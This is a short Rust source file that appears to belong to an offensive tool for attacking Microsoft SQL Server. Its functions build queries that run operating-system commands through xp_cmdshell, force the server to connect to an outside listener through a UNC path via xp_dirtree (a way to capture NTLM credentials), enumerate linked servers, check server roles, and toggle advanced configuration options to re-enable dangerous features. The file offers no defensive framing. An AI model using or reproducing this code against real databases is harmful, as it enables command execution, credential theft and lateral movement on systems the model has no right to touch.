pub fn xp_cmdshell(cmd: &str) -> String {
let escaped = cmd.replace('\'', "''");
format!("EXEC master..xp_cmdshell '{}'", escaped)
}
pub fn coerce_unc(listener: &str, share: &str) -> String {
let path = format!(r"\\{}\{}", listener, share);
let escaped = path.replace('\'', "''");
format!("EXEC master..xp_dirtree '{}', 1, 0", escaped)
}
pub fn enum_linked_servers() -> &'static str {
"SELECT srvname, srvproduct, providername, datasource FROM master..sysservers"
}
pub fn is_srvrolemember(role: &str) -> String {
let escaped = role.replace('\'', "''");
format!("SELECT IS_SRVROLEMEMBER('{}')", escaped)
}
pub fn sp_configure_toggle(option: &str, value: i32) -> String {
let esc = option.replace('\'', "''");
format!(
"EXEC sp_configure 'show advanced options', 1; RECONFIGURE; \
EXEC sp_configure '{}', {}; RECONFIGURE; \
EXEC sp_configure '{}'",
esc, value, esc,
)
}